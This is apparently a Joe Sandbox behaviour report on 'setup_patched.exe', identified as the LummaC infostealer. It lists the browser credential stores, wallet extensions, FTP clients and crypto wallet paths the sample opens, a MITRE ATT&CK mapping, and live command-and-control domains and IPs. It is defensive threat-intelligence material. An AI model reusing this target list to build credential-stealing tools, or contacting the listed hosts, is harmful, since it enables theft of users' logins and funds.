Source: C:\Users\user\Desktop\setup_patched.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkbihfbeogaeaoehlefnkodbefgpgknn	Jump to behavior
Source: C:\Users\user\Desktop\setup_patched.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aholpfdialjgjfhomihkjbmgjidlcdno	Jump to behavior
Source: C:\Users\user\Desktop\setup_patched.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hcflpincpppdclinealmandijcmnkbgn	Jump to behavior
Source: C:\Users\user\Desktop\setup_patched.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\acmacodkjbdgmoleebolmdjonilkdbch	Jump to behavior
Source: C:\Users\user\Desktop\setup_patched.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\Users\user\Desktop\setup_patched.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kpfopkelmapcoipemfendmdcghnegimn	Jump to behavior
Source: C:\Users\user\Desktop\setup_patched.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mmmjbcfofconkannjonfmjjajpllddbg	Jump to behavior
Source: C:\Users\user\Desktop\setup_patched.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nhnkbkgjikgcigadomkphalanndcapjk	Jump to behavior
Source: C:\Users\user\Desktop\setup_patched.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hdokiejnpimakedhajhdlcegeplioahd	Jump to behavior
Source: C:\Users\user\Desktop\setup_patched.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kjmoohlgokccodicjjfebfomlbljgfhk	Jump to behavior
Source: C:\Users\user\Desktop\setup_patched.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ibnejdfjmmkpcnlpebklmnkoeoihofec	Jump to behavior
Source: C:\Users\user\Desktop\setup_patched.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dmkamcknogkgcdfhhbddcghachkejeap	Jump to behavior
Source: C:\Users\user\Desktop\setup_patched.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\flpiciilemghbmfalicajoolhkkenfe	Jump to behavior
Source: C:\Users\user\Desktop\setup_patched.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhghoamapcdpbohphigoooaddinpkbai	Jump to behavior
Source: C:\Users\user\Desktop\setup_patched.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ijmpgkjfkbfhoebgogflfebnmejmfbm	Jump to behavior
Source: C:\Users\user\Desktop\setup_patched.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ookjlbkiijinhpmnjffcofjonbfbgaoc	Jump to behavior
Source: C:\Users\user\Desktop\setup_patched.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeblfdkhhhdcdjpifhhbdiojplfjncoa	Jump to behavior
Source: C:\Users\user\Desktop\setup_patched.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\places.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\setup_patched.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\efbglgofoippbgcjepnhiblaibcnclgk	Jump to behavior
Source: C:\Users\user\Desktop\setup_patched.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\klnaejjgbibmhlephnhpmaofohgkpgkd	Jump to behavior
Source: C:\Users\user\Desktop\setup_patched.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\key4.db	Jump to behavior
Source: C:\Users\user\Desktop\setup_patched.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kncchdigobghenbbaddojjnnaogfppfj	Jump to behavior
Source: C:\Users\user\Desktop\setup_patched.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jojhfeoedkpkglbfimdfabpdfjaoolaf	Jump to behavior
Source: C:\Users\user\Desktop\setup_patched.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cphhlgmgameodnhkjdmkpanlelnlohao	Jump to behavior

Tries to harvest and steal ftp login credentials

Source: C:\Users\user\Desktop\setup_patched.exe	File opened: C:\Users\user\AppData\Roaming\FTPbox	Jump to behavior
Source: C:\Users\user\Desktop\setup_patched.exe	File opened: C:\Users\user\AppData\Roaming\SmartFTP\Client 2.0\Favorites	Jump to behavior
Source: C:\Users\user\Desktop\setup_patched.exe	File opened: C:\Users\user\AppData\Roaming\FTPGetter	Jump to behavior
Source: C:\Users\user\Desktop\setup_patched.exe	File opened: C:\Users\user\AppData\Roaming\Conceptworld\Notezilla	Jump to behavior
Source: C:\Users\user\Desktop\setup_patched.exe	File opened: C:\Users\user\AppData\Roaming\FTPInfo	Jump to behavior
Source: C:\Users\user\Desktop\setup_patched.exe	File opened: C:\ProgramData\SiteDesigner\3D-FTP	Jump to behavior
Source: C:\Users\user\Desktop\setup_patched.exe	File opened: C:\Users\user\AppData\Roaming\FTPRush	Jump to behavior

Tries to steal Crypto Currency Wallets

Source: C:\Users\user\Desktop\setup_patched.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\Desktop\setup_patched.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\Desktop\setup_patched.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live	Jump to behavior
Source: C:\Users\user\Desktop\setup_patched.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb	Jump to behavior
Source: C:\Users\user\Desktop\setup_patched.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\Desktop\setup_patched.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\Desktop\setup_patched.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets	Jump to behavior
Source: C:\Users\user\Desktop\setup_patched.exe	File opened: C:\Users\user\AppData\Roaming\Binance	Jump to behavior
Source: C:\Users\user\Desktop\setup_patched.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB	Jump to behavior
Source: C:\Users\user\Desktop\setup_patched.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets	Jump to behavior
Source: C:\Users\user\Desktop\setup_patched.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets	Jump to behavior
Source: C:\Users\user\Desktop\setup_patched.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB	Jump to behavior

Source: C:\Users\user\Desktop\setup_patched.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\setup_patched.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\setup_patched.exe	Directory queried: C:\Users\user\Documents\BJZFPPWAPT	Jump to behavior
Source: C:\Users\user\Desktop\setup_patched.exe	Directory queried: C:\Users\user\Documents\BJZFPPWAPT	Jump to behavior
Source: C:\Users\user\Desktop\setup_patched.exe	Directory queried: C:\Users\user\Documents\IPKGELNTQY	Jump to behavior
Source: C:\Users\user\Desktop\setup_patched.exe	Directory queried: C:\Users\user\Documents\IPKGELNTQY	Jump to behavior
Source: C:\Users\user\Desktop\setup_patched.exe	Directory queried: C:\Users\user\Documents\NVWZAPQSQL	Jump to behavior
Source: C:\Users\user\Desktop\setup_patched.exe	Directory queried: C:\Users\user\Documents\NVWZAPQSQL	Jump to behavior
Source: C:\Users\user\Desktop\setup_patched.exe	Directory queried: C:\Users\user\Documents\QCFWYSKMHA	Jump to behavior
Source: C:\Users\user\Desktop\setup_patched.exe	Directory queried: C:\Users\user\Documents\QCFWYSKMHA	Jump to behavior
Source: C:\Users\user\Desktop\setup_patched.exe	Directory queried: C:\Users\user\Documents\SFPUSAFIOL	Jump to behavior
Source: C:\Users\user\Desktop\setup_patched.exe	Directory queried: C:\Users\user\Documents\SFPUSAFIOL	Jump to behavior
Source: C:\Users\user\Desktop\setup_patched.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\setup_patched.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\setup_patched.exe	Directory queried: C:\Users\user\Documents\VAMYDFPUND	Jump to behavior
Source: C:\Users\user\Desktop\setup_patched.exe	Directory queried: C:\Users\user\Documents\WKXEWIOTXI	Jump to behavior
Source: C:\Users\user\Desktop\setup_patched.exe	Directory queried: C:\Users\user\Documents\QCFWYSKMHA	Jump to behavior
Source: C:\Users\user\Desktop\setup_patched.exe	Directory queried: C:\Users\user\Documents\QCFWYSKMHA	Jump to behavior
Source: C:\Users\user\Desktop\setup_patched.exe	Directory queried: C:\Users\user\Documents\SFPUSAFIOL	Jump to behavior
Source: C:\Users\user\Desktop\setup_patched.exe	Directory queried: C:\Users\user\Documents\SFPUSAFIOL	Jump to behavior
Source: C:\Users\user\Desktop\setup_patched.exe	Directory queried: C:\Users\user\Documents\VAMYDFPUND	Jump to behavior
Source: C:\Users\user\Desktop\setup_patched.exe	Directory queried: C:\Users\user\Documents\VAMYDFPUND	Jump to behavior
Source: C:\Users\user\Desktop\setup_patched.exe	Directory queried: C:\Users\user\Documents\WKXEWIOTXI	Jump to behavior
Source: C:\Users\user\Desktop\setup_patched.exe	Directory queried: C:\Users\user\Documents\WKXEWIOTXI	Jump to behavior
Source: C:\Users\user\Desktop\setup_patched.exe	Directory queried: C:\Users\user\Documents\BJZFPPWAPT	Jump to behavior
Source: C:\Users\user\Desktop\setup_patched.exe	Directory queried: C:\Users\user\Documents\BJZFPPWAPT	Jump to behavior
Source: C:\Users\user\Desktop\setup_patched.exe	Directory queried: C:\Users\user\Documents\IPKGELNTQY	Jump to behavior
Source: C:\Users\user\Desktop\setup_patched.exe	Directory queried: C:\Users\user\Documents\IPKGELNTQY	Jump to behavior
Source: C:\Users\user\Desktop\setup_patched.exe	Directory queried: C:\Users\user\Documents\NVWZAPQSQL	Jump to behavior
Source: C:\Users\user\Desktop\setup_patched.exe	Directory queried: C:\Users\user\Documents\NVWZAPQSQL	Jump to behavior
Source: C:\Users\user\Desktop\setup_patched.exe	Directory queried: C:\Users\user\Documents\ZTGJILHXQB	Jump to behavior
Source: C:\Users\user\Desktop\setup_patched.exe	Directory queried: C:\Users\user\Documents\ZTGJILHXQB	Jump to behavior
Source: C:\Users\user\Desktop\setup_patched.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\setup_patched.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\setup_patched.exe	Directory queried: C:\Users\user\Documents\SUAVTZKNFL	Jump to behavior
Source: C:\Users\user\Desktop\setup_patched.exe	Directory queried: C:\Users\user\Documents\SUAVTZKNFL	Jump to behavior
Source: C:\Users\user\Desktop\setup_patched.exe	Directory queried: C:\Users\user\Documents\IPKGELNTQY	Jump to behavior
Source: C:\Users\user\Desktop\setup_patched.exe	Directory queried: C:\Users\user\Documents\IPKGELNTQY	Jump to behavior
Source: C:\Users\user\Desktop\setup_patched.exe	Directory queried: C:\Users\user\Documents\NVWZAPQSQL	Jump to behavior
Source: C:\Users\user\Desktop\setup_patched.exe	Directory queried: C:\Users\user\Documents\NVWZAPQSQL	Jump to behavior
Source: C:\Users\user\Desktop\setup_patched.exe	Directory queried: C:\Users\user\Documents\WKXEWIOTXI	Jump to behavior
Source: C:\Users\user\Desktop\setup_patched.exe	Directory queried: C:\Users\user\Documents\WKXEWIOTXI	Jump to behavior
Source: C:\Users\user\Desktop\setup_patched.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\setup_patched.exe	Directory queried: C:\Users\user\Documents	Jump to behavior

Remote Access Functionality

Yara detected LummaC Stealer

Source: Yara match	File source: 00000000.00000003.1611492894.00000000027C1000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: sslproxydump.pcap, type: PCAP

Source: C:\Users\user\Desktop\setup_patched.exe

Code function: 0_2_00423086 CreateBindCtx,CoTaskMemFree,

0_2_00423086

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	12 Windows Management Instrumentation	1 DLL Side-Loading	1 DLL Side-Loading	21 Virtualization/Sandbox Evasion	2 OS Credential Dumping	1 System Time Discovery	Remote Services	21 Input Capture	21 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Native API	Boot or Logon Initialization Scripts	Boot or Logon Initialization Scripts	1 Deobfuscate/Decode Files or Information	21 Input Capture	241 Security Software Discovery	Remote Desktop Protocol	1 Archive Collected Data	2 Non-Application Layer Protocol	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	3 Obfuscated Files or Information	Security Account Manager	21 Virtualization/Sandbox Evasion	SMB/Windows Admin Shares	31 Data from Local System	113 Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	1 DLL Side-Loading	NTDS	1 Process Discovery	Distributed Component Object Model	2 Clipboard Data	Protocol Impersonation	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	Software Packing	LSA Secrets	1 Application Window Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	Steganography	Cached Domain Credentials	11 File and Directory Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	Compile After Delivery	DCSync	44 System Information Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
setup_patched.exe	7%	Virustotal		Browse
setup_patched.exe	17%	ReversingLabs

Source	Detection	Scanner	Label
https://bxattlepath.digital/v	0%	Avira URL Cloud	safe
https://bxattlepath.digital/vT	0%	Avira URL Cloud	safe
https://h1.mockupeastcoast.shop/shark.binrn	100%	Avira URL Cloud	malware
https://bxattlepath.digital/ogdaa	0%	Avira URL Cloud	safe
https://bxattlepath.digital/ogdaaH	0%	Avira URL Cloud	safe
https://bxattlepath.digital/ogdaf	0%	Avira URL Cloud	safe
https://h1.mockupeastcoast.shop/	100%	Avira URL Cloud	malware
https://h1.mockupeastcoast.shop/shark.bine	100%	Avira URL Cloud	malware
https://bxattlepath.digital/ogda	0%	Avira URL Cloud	safe
https://bxattlepath.digital/ogdal	0%	Avira URL Cloud	safe
bxattlepath.digital/ogda	0%	Avira URL Cloud	safe
https://bxattlepath.digital/ogdaal	0%	Avira URL Cloud	safe
https://h1.mockupeastcoast.shop/Y	100%	Avira URL Cloud	malware
https://bxattlepath.digital/H	0%	Avira URL Cloud	safe
https://bxattlepath.digital/	0%	Avira URL Cloud	safe
https://bxattlepath.digital/ogda-	0%	Avira URL Cloud	safe
https://bxattlepath.digital/ogdaY	0%	Avira URL Cloud	safe
https://bxattlepath.digital/ogdacN	0%	Avira URL Cloud	safe
https://bxattlepath.digital/ogdans	0%	Avira URL Cloud	safe
https://bxattlepath.digital/2	0%	Avira URL Cloud	safe
https://bxattlepath.digital:443/ogdacies	0%	Avira URL Cloud	safe
http://ocsp.sectigo.com0B	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
bxattlepath.digital	104.21.42.51	true	true	unknown
bg.microsoft.map.fastly.net	199.232.210.172	true	false	high
edge.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com	217.20.48.37	true	false	high
h1.mockupeastcoast.shop	89.169.54.153	true	false	high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
jawdedmirror.run/ewqd	false		high
nighetwhisper.top/lekd	false		high
changeaie.top/geps	false		high
https://bxattlepath.digital/ogda	false	Avira URL Cloud: safe	unknown
owlflright.digital/qopy	false		high
bxattlepath.digital/ogda	true	Avira URL Cloud: safe	unknown
zestmodp.top/zeda	false		high
liftally.top/xasj	false		high
salaccgfa.top/gsooz	false		high
lonfgshadow.live/xawi	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://duckduckgo.com/ac/?q=	setup_patched.exe, 00000000.00000003.1496470864.0000000003518000.00000004.00000800.00020000.00000000.sdmp	false		high
http://crt.sectigo.com/SectigoPublicTimeStampingCAR36.crt0#	setup_patched.exe	false		high
http://crl.sectigo.com/SectigoPublicCodeSigningRootR46.crl0	setup_patched.exe	false		high
http://ocsp.sectigo.com0	setup_patched.exe	false		high
http://crt.sectigo.com/SectigoPublicCodeSigningCAEVR36.crt0#	setup_patched.exe	false		high
https://bxattlepath.digital/vT	setup_patched.exe, 00000000.00000003.1597489197.0000000000672000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	setup_patched.exe, 00000000.00000003.1496470864.0000000003518000.00000004.00000800.00020000.00000000.sdmp	false		high
http://crt.sectigo.com/SectigoPublicCodeSigningRootR46.p7c0#	setup_patched.exe	false		high
https://h1.mockupeastcoast.shop/	setup_patched.exe, 00000000.00000002.1612126950.0000000000674000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://bxattlepath.digital/v	setup_patched.exe, 00000000.00000003.1597489197.0000000000672000.00000004.00000020.00020000.00000000.sdmp, setup_patched.exe, 00000000.00000002.1612126950.0000000000674000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.google.com/images/branding/product/ico/googleg_alldp.ico	setup_patched.exe, 00000000.00000003.1496470864.0000000003518000.00000004.00000800.00020000.00000000.sdmp	false		high
http://crl.sectigo.com/SectigoPublicTimeStampingRootR46.crl0	setup_patched.exe	false		high
https://bxattlepath.digital/ogdaa	setup_patched.exe, 00000000.00000003.1534701142.00000000006EE000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://h1.mockupeastcoast.shop/shark.binrn	setup_patched.exe, 00000000.00000002.1612062683.0000000000658000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://h1.mockupeastcoast.shop/shark.bine	setup_patched.exe, 00000000.00000002.1612126950.0000000000674000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://bxattlepath.digital/ogdaf	setup_patched.exe, 00000000.00000003.1597489197.0000000000672000.00000004.00000020.00020000.00000000.sdmp, setup_patched.exe, 00000000.00000003.1563310851.0000000000672000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://x1.c.lencr.org/0	setup_patched.exe, 00000000.00000003.1522900833.000000000360D000.00000004.00000800.00020000.00000000.sdmp	false		high
http://x1.i.lencr.org/0	setup_patched.exe, 00000000.00000003.1522900833.000000000360D000.00000004.00000800.00020000.00000000.sdmp	false		high
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	setup_patched.exe, 00000000.00000003.1496470864.0000000003518000.00000004.00000800.00020000.00000000.sdmp	false		high
https://h1.mockupeastcoast.shop/shark.bin	setup_patched.exe, 00000000.00000002.1612126950.0000000000674000.00000004.00000020.00020000.00000000.sdmp, setup_patched.exe, 00000000.00000002.1612062683.0000000000658000.00000004.00000020.00020000.00000000.sdmp	false		high
https://bxattlepath.digital/ogdaaH	setup_patched.exe, 00000000.00000003.1534257473.00000000006E9000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://bxattlepath.digital/ogdal	setup_patched.exe, 00000000.00000003.1535255295.000000000069E000.00000004.00000020.00020000.00000000.sdmp, setup_patched.exe, 00000000.00000003.1534362774.000000000069E000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://duckduckgo.com/chrome_newtabv209h	setup_patched.exe, 00000000.00000003.1496470864.0000000003518000.00000004.00000800.00020000.00000000.sdmp	false		high
https://support.mozilla.org/products/firefoxgro.all	setup_patched.exe, 00000000.00000003.1524612666.000000000382E000.00000004.00000800.00020000.00000000.sdmp	false		high
http://crt.sectigo.com/SectigoPublicTimeStampingRootR46.p7c0#	setup_patched.exe	false		high
http://crl.sectigo.com/SectigoPublicCodeSigningCAEVR36.crl0	setup_patched.exe	false		high
https://bxattlepath.digital/ogdaal	setup_patched.exe, 00000000.00000003.1597489197.0000000000672000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://sectigo.com/CPS0	setup_patched.exe	false		high
https://bxattlepath.digital/H	setup_patched.exe, 00000000.00000003.1491297227.0000000000653000.00000004.00000020.00020000.00000000.sdmp, setup_patched.exe, 00000000.00000003.1563436377.0000000000653000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	setup_patched.exe, 00000000.00000003.1496470864.0000000003518000.00000004.00000800.00020000.00000000.sdmp	false		high
http://crl.rootca1.amazontrust.com/rootca1.crl0	setup_patched.exe, 00000000.00000003.1522900833.000000000360D000.00000004.00000800.00020000.00000000.sdmp	false		high
https://ac.ecosia.org?q=	setup_patched.exe, 00000000.00000003.1496470864.0000000003518000.00000004.00000800.00020000.00000000.sdmp	false		high
https://bxattlepath.digital/	setup_patched.exe, 00000000.00000002.1612126950.0000000000674000.00000004.00000020.00020000.00000000.sdmp, setup_patched.exe, 00000000.00000003.1513846000.0000000000671000.00000004.00000020.00020000.00000000.sdmp, setup_patched.exe, 00000000.00000003.1563310851.0000000000672000.00000004.00000020.00020000.00000000.sdmp, setup_patched.exe, 00000000.00000003.1535255295.000000000069E000.00000004.00000020.00020000.00000000.sdmp, setup_patched.exe, 00000000.00000003.1522658238.000000000069E000.00000004.00000020.00020000.00000000.sdmp, setup_patched.exe, 00000000.00000003.1522085345.000000000069E000.00000004.00000020.00020000.00000000.sdmp, setup_patched.exe, 00000000.00000003.1534362774.000000000069E000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://bxattlepath.digital/2	setup_patched.exe, 00000000.00000002.1612188732.00000000006C7000.00000004.00000020.00020000.00000000.sdmp, setup_patched.exe, 00000000.00000003.1597146006.00000000006C7000.00000004.00000020.00020000.00000000.sdmp, setup_patched.exe, 00000000.00000003.1579408180.00000000006C1000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://ocsp.rootca1.amazontrust.com0:	setup_patched.exe, 00000000.00000003.1522900833.000000000360D000.00000004.00000800.00020000.00000000.sdmp	false		high
https://bxattlepath.digital/ogdaY	setup_patched.exe, 00000000.00000002.1612126950.0000000000674000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br	setup_patched.exe, 00000000.00000003.1524612666.000000000382E000.00000004.00000800.00020000.00000000.sdmp	false		high
https://bxattlepath.digital/ogdacN	setup_patched.exe, 00000000.00000003.1491230799.0000000000656000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.ecosia.org/newtab/v20	setup_patched.exe, 00000000.00000003.1496470864.0000000003518000.00000004.00000800.00020000.00000000.sdmp	false		high
http://crl.sectigo.com/SectigoPublicTimeStampingCAR36.crl0z	setup_patched.exe	false		high
https://bxattlepath.digital/ogdans	setup_patched.exe, 00000000.00000003.1563436377.000000000066E000.00000004.00000020.00020000.00000000.sdmp, setup_patched.exe, 00000000.00000003.1572594250.000000000066E000.00000004.00000020.00020000.00000000.sdmp, setup_patched.exe, 00000000.00000003.1576247162.000000000066E000.00000004.00000020.00020000.00000000.sdmp, setup_patched.exe, 00000000.00000002.1612062683.000000000066E000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://crt.rootca1.amazontrust.com/rootca1.cer0?	setup_patched.exe, 00000000.00000003.1522900833.000000000360D000.00000004.00000800.00020000.00000000.sdmp	false		high
https://bxattlepath.digital/ogda-	setup_patched.exe, 00000000.00000003.1563436377.000000000066E000.00000004.00000020.00020000.00000000.sdmp, setup_patched.exe, 00000000.00000003.1572594250.000000000066E000.00000004.00000020.00020000.00000000.sdmp, setup_patched.exe, 00000000.00000003.1576247162.000000000066E000.00000004.00000020.00020000.00000000.sdmp, setup_patched.exe, 00000000.00000002.1612062683.000000000066E000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://h1.mockupeastcoast.shop/Y	setup_patched.exe, 00000000.00000002.1612126950.0000000000674000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	setup_patched.exe, 00000000.00000003.1496470864.0000000003518000.00000004.00000800.00020000.00000000.sdmp	false		high
https://gemini.google.com/app?q=	setup_patched.exe, 00000000.00000003.1496470864.0000000003518000.00000004.00000800.00020000.00000000.sdmp	false		high
https://bxattlepath.digital:443/ogdacies	setup_patched.exe, 00000000.00000003.1534362774.0000000000672000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://ocsp.sectigo.com0B	setup_patched.exe	false	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
89.169.54.153	h1.mockupeastcoast.shop	Russian Federation		31514	INF-NET-ASRU	false
104.21.42.51	bxattlepath.digital	United States		13335	CLOUDFLARENETUS	true

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1664110
Start date and time:	2025-04-13 17:09:16 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 4m 22s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 134, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	4
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	setup_patched.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@1/0@2/2
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 81% Number of executed functions: 30 Number of non-executed functions: 274
Cookbook Comments:	Found application associated with file extension: .exe Stop behavior analysis, all processes terminated

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, SIHClient.exe, conhost.exe
Excluded IPs from analysis (whitelisted): 23.76.34.6, 20.12.23.50, 2.23.227.208, 150.171.27.254
Excluded domains from analysis (whitelisted): www.bing.com, c2a9c95e369881c67228a6591cac2686.clo.footprintdns.com, ax-ring.msedge.net, fs.microsoft.com, slscr.update.microsoft.com, ctldl.windowsupdate.com.delivery.microsoft.com, ctldl.windowsupdate.com, c.pki.goog, wu-b-net.trafficmanager.net, fe3cr.delivery.mp.microsoft.com
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing disassembly code.
Report size getting too big, too many NtOpenFile calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
11:10:30	API Interceptor	9x Sleep call for process: setup_patched.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
89.169.54.153	Setup_patched.exe	Get hash	malicious	LummaC Stealer	Browse
	#Ud835#Udc12#Ud835#Udc04#Ud835#Udc13#Ud835#Udc14#Ud835#Udc0f_patched.exe	Get hash	malicious	LummaC Stealer	Browse
	Setup.exe	Get hash	malicious	LummaC Stealer	Browse
	Setup.exe	Get hash	malicious	LummaC Stealer	Browse
	Setup.exe	Get hash	malicious	LummaC Stealer	Browse

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
edge.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com	yap.bat	Get hash	malicious	Koadic	Browse	217.20.48.22
